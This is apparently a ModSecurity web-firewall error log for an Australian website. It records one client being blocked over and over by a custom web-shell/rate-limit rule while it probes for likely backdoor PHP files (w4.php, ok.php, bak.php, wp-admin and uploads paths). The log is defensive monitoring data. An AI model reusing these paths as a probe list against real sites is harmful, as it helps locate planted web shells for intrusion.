[Mon Mar 02 02:24:51.134691 2026] [:error] [pid 26940:tid 26956] [client 20.151.11.236:58789] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/css/index.php"] [unique_id "aaSEcxrUg-j5GLDtRFnpcAAAAEw"]
[Mon Mar 02 02:24:51.544977 2026] [:error] [pid 53585:tid 53608] [client 20.151.11.236:63513] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/css/index.php"] [unique_id "aaSEc3bCvYsvu6kKhM3KZAAAABQ"]
[Mon Mar 02 02:24:51.957872 2026] [:error] [pid 26940:tid 26960] [client 20.151.11.236:63609] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/css/index.php"] [unique_id "aaSEcxrUg-j5GLDtRFnpdAAAAFA"]
[Mon Mar 02 02:24:52.389585 2026] [:error] [pid 53182:tid 53559] [client 20.151.11.236:58825] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/css/index.php"] [unique_id "aaSEdPv073cA6eM1YCTtZAAAAM8"]
[Mon Mar 02 02:24:52.838511 2026] [:error] [pid 26940:tid 26957] [client 20.151.11.236:55878] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w4.php"] [unique_id "aaSEdBrUg-j5GLDtRFnphwAAAE0"]
[Mon Mar 02 02:24:53.272564 2026] [:error] [pid 53180:tid 53451] [client 20.151.11.236:58802] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w4.php"] [unique_id "aaSEdTPPJpDOBvYnaa1pJgAAAYc"]
[Mon Mar 02 02:24:53.698681 2026] [:error] [pid 53180:tid 53447] [client 20.151.11.236:57532] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w4.php"] [unique_id "aaSEdTPPJpDOBvYnaa1pKgAAAYM"]
[Mon Mar 02 02:24:54.117705 2026] [:error] [pid 26940:tid 26946] [client 20.151.11.236:58830] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w4.php"] [unique_id "aaSEdhrUg-j5GLDtRFnpoQAAAEI"]
[Mon Mar 02 02:24:54.544633 2026] [:error] [pid 53181:tid 53533] [client 20.151.11.236:63593] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aaSEdor_0T1SazTrJOBTJQAAARI"]
[Mon Mar 02 02:24:54.971075 2026] [:error] [pid 26940:tid 26959] [client 20.151.11.236:58754] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aaSEdhrUg-j5GLDtRFnptAAAAE8"]
[Mon Mar 02 02:24:55.416491 2026] [:error] [pid 53182:tid 53561] [client 20.151.11.236:63597] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aaSEd_v073cA6eM1YCTtagAAANE"]
[Mon Mar 02 02:24:55.837594 2026] [:error] [pid 53182:tid 53566] [client 20.151.11.236:55879] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aaSEd_v073cA6eM1YCTtcwAAANY"]
[Mon Mar 02 02:24:56.286908 2026] [:error] [pid 53181:tid 53521] [client 20.151.11.236:63502] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aaSEeIr_0T1SazTrJOBTOgAAAQY"]
[Mon Mar 02 02:24:56.695934 2026] [:error] [pid 53182:tid 53560] [client 20.151.11.236:55879] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aaSEePv073cA6eM1YCTtfAAAANA"]
[Mon Mar 02 02:24:57.128013 2026] [:error] [pid 26940:tid 26947] [client 20.151.11.236:58875] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aaSEeRrUg-j5GLDtRFnpyQAAAEM"]
[Mon Mar 02 02:24:57.545993 2026] [:error] [pid 53585:tid 53596] [client 20.151.11.236:63505] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aaSEeXbCvYsvu6kKhM3KiAAAAAg"]
[Mon Mar 02 02:24:57.955743 2026] [:error] [pid 53181:tid 53527] [client 20.151.11.236:57511] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aaSEeYr_0T1SazTrJOBTQgAAAQw"]
[Mon Mar 02 02:24:58.367599 2026] [:error] [pid 26940:tid 26964] [client 20.151.11.236:55913] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aaSEehrUg-j5GLDtRFnp2QAAAFQ"]
[Mon Mar 02 02:24:58.792249 2026] [:error] [pid 26940:tid 26952] [client 20.151.11.236:58872] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aaSEehrUg-j5GLDtRFnp4AAAAEg"]
[Mon Mar 02 02:24:59.202651 2026] [:error] [pid 53182:tid 53552] [client 20.151.11.236:55829] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aaSEe_v073cA6eM1YCTtkQAAAMk"]
[Mon Mar 02 02:24:59.615450 2026] [:error] [pid 26940:tid 26956] [client 20.151.11.236:57498] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tymn.php"] [unique_id "aaSEexrUg-j5GLDtRFnp7QAAAEw"]
[Mon Mar 02 02:25:00.026865 2026] [:error] [pid 53180:tid 53452] [client 20.151.11.236:41607] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tymn.php"] [unique_id "aaSEfDPPJpDOBvYnaa1pWAAAAYg"]
[Mon Mar 02 02:25:00.473484 2026] [:error] [pid 26940:tid 26956] [client 20.151.11.236:57476] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tymn.php"] [unique_id "aaSEfBrUg-j5GLDtRFnqAAAAAEw"]
[Mon Mar 02 02:25:00.893002 2026] [:error] [pid 53181:tid 53530] [client 20.151.11.236:57489] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tymn.php"] [unique_id "aaSEfIr_0T1SazTrJOBTWAAAAQ8"]
[Mon Mar 02 02:25:01.306570 2026] [:error] [pid 53180:tid 53453] [client 20.151.11.236:57476] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bak.php"] [unique_id "aaSEfTPPJpDOBvYnaa1pZwAAAYk"]
[Mon Mar 02 02:25:01.724140 2026] [:error] [pid 26940:tid 26953] [client 20.151.11.236:58857] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bak.php"] [unique_id "aaSEfRrUg-j5GLDtRFnqFQAAAEk"]
[Mon Mar 02 02:25:02.161306 2026] [:error] [pid 53180:tid 53456] [client 20.151.11.236:57569] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bak.php"] [unique_id "aaSEfjPPJpDOBvYnaa1pcwAAAYw"]
[Mon Mar 02 02:25:02.572315 2026] [:error] [pid 26940:tid 26962] [client 20.151.11.236:55889] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bak.php"] [unique_id "aaSEfhrUg-j5GLDtRFnqJgAAAFI"]
[Mon Mar 02 02:25:03.004370 2026] [:error] [pid 53585:tid 53611] [client 20.151.11.236:58816] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aaSEf3bCvYsvu6kKhM3KrgAAABc"]
[Mon Mar 02 02:25:03.435713 2026] [:error] [pid 53585:tid 53604] [client 20.151.11.236:58871] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aaSEf3bCvYsvu6kKhM3KsgAAABA"]
[Mon Mar 02 02:25:03.887258 2026] [:error] [pid 53181:tid 53522] [client 20.151.11.236:58827] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aaSEf4r_0T1SazTrJOBTcAAAAQc"]
[Mon Mar 02 02:25:04.436556 2026] [:error] [pid 53585:tid 53605] [client 20.151.11.236:58790] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aaSEgHbCvYsvu6kKhM3KvQAAABE"]
[Mon Mar 02 02:25:04.856931 2026] [:error] [pid 53182:tid 53549] [client 20.151.11.236:63492] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "aaSEgPv073cA6eM1YCTtqQAAAMY"]
[Mon Mar 02 02:25:05.371787 2026] [:error] [pid 53180:tid 53454] [client 20.151.11.236:57508] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "aaSEgTPPJpDOBvYnaa1pjgAAAYo"]
[Mon Mar 02 02:25:05.864944 2026] [:error] [pid 53180:tid 53450] [client 20.151.11.236:63591] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "aaSEgTPPJpDOBvYnaa1pjwAAAYY"]
[Mon Mar 02 02:25:06.292820 2026] [:error] [pid 53182:tid 53551] [client 20.151.11.236:63504] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "aaSEgvv073cA6eM1YCTttQAAAMg"]
[Mon Mar 02 02:25:06.975034 2026] [:error] [pid 26940:tid 26966] [client 20.151.11.236:63552] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "aaSEghrUg-j5GLDtRFnqUQAAAFY"]
[Mon Mar 02 02:25:07.543015 2026] [:error] [pid 26940:tid 26946] [client 20.151.11.236:57531] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "aaSEgxrUg-j5GLDtRFnqWgAAAEI"]
[Mon Mar 02 02:25:07.993036 2026] [:error] [pid 26940:tid 26954] [client 20.151.11.236:55924] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "aaSEgxrUg-j5GLDtRFnqXgAAAEo"]
[Mon Mar 02 02:25:08.480879 2026] [:error] [pid 26940:tid 26961] [client 20.151.11.236:63556] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "aaSEhBrUg-j5GLDtRFnqagAAAFE"]
[Mon Mar 02 02:25:09.066640 2026] [:error] [pid 26940:tid 26954] [client 20.151.11.236:57527] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aaSEhRrUg-j5GLDtRFnqeAAAAEo"]
[Mon Mar 02 02:25:09.649783 2026] [:error] [pid 26940:tid 26957] [client 20.151.11.236:58854] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aaSEhRrUg-j5GLDtRFnqiQAAAE0"]
[Mon Mar 02 02:25:10.196194 2026] [:error] [pid 53182:tid 53563] [client 20.151.11.236:58856] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aaSEhvv073cA6eM1YCTtwQAAANM"]
[Mon Mar 02 02:25:10.657831 2026] [:error] [pid 53585:tid 53588] [client 20.151.11.236:58829] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aaSEhnbCvYsvu6kKhM3LBgAAAAA"]
[Mon Mar 02 02:25:11.258401 2026] [:error] [pid 53585:tid 53592] [client 20.151.11.236:55873] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "aaSEh3bCvYsvu6kKhM3LCgAAAAQ"]
[Mon Mar 02 02:25:11.995625 2026] [:error] [pid 53585:tid 53609] [client 20.151.11.236:58861] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "aaSEh3bCvYsvu6kKhM3LGAAAABU"]
[Mon Mar 02 02:25:12.434808 2026] [:error] [pid 53181:tid 53528] [client 20.151.11.236:55857] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "aaSEiIr_0T1SazTrJOBTpwAAAQ0"]
[Mon Mar 02 02:25:13.030905 2026] [:error] [pid 53585:tid 53611] [client 20.151.11.236:63562] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "aaSEiXbCvYsvu6kKhM3LIAAAABc"]
[Mon Mar 02 02:25:13.488113 2026] [:error] [pid 26940:tid 26954] [client 20.151.11.236:63607] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aaSEiRrUg-j5GLDtRFnqtwAAAEo"]
[Mon Mar 02 02:25:13.927128 2026] [:error] [pid 26940:tid 26961] [client 20.151.11.236:58824] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aaSEiRrUg-j5GLDtRFnqvQAAAFE"]
[Mon Mar 02 02:25:14.394625 2026] [:error] [pid 26940:tid 26964] [client 20.151.11.236:58803] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aaSEihrUg-j5GLDtRFnqwQAAAFQ"]
[Mon Mar 02 02:25:14.880906 2026] [:error] [pid 53182:tid 53563] [client 20.151.11.236:58863] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aaSEivv073cA6eM1YCTt1AAAANM"]
[Mon Mar 02 02:25:15.361028 2026] [:error] [pid 26940:tid 26955] [client 20.151.11.236:63573] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/init.php"] [unique_id "aaSEixrUg-j5GLDtRFnqyAAAAEs"]
[Mon Mar 02 02:25:15.884781 2026] [:error] [pid 53180:tid 53449] [client 20.151.11.236:63581] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/init.php"] [unique_id "aaSEizPPJpDOBvYnaa1pqQAAAYU"]
[Mon Mar 02 02:25:16.877148 2026] [:error] [pid 26940:tid 26944] [client 20.151.11.236:57544] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/init.php"] [unique_id "aaSEjBrUg-j5GLDtRFnq0QAAAEA"]
[Mon Mar 02 02:25:17.683558 2026] [:error] [pid 53585:tid 53594] [client 20.151.11.236:63586] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/init.php"] [unique_id "aaSEjXbCvYsvu6kKhM3LPAAAAAY"]
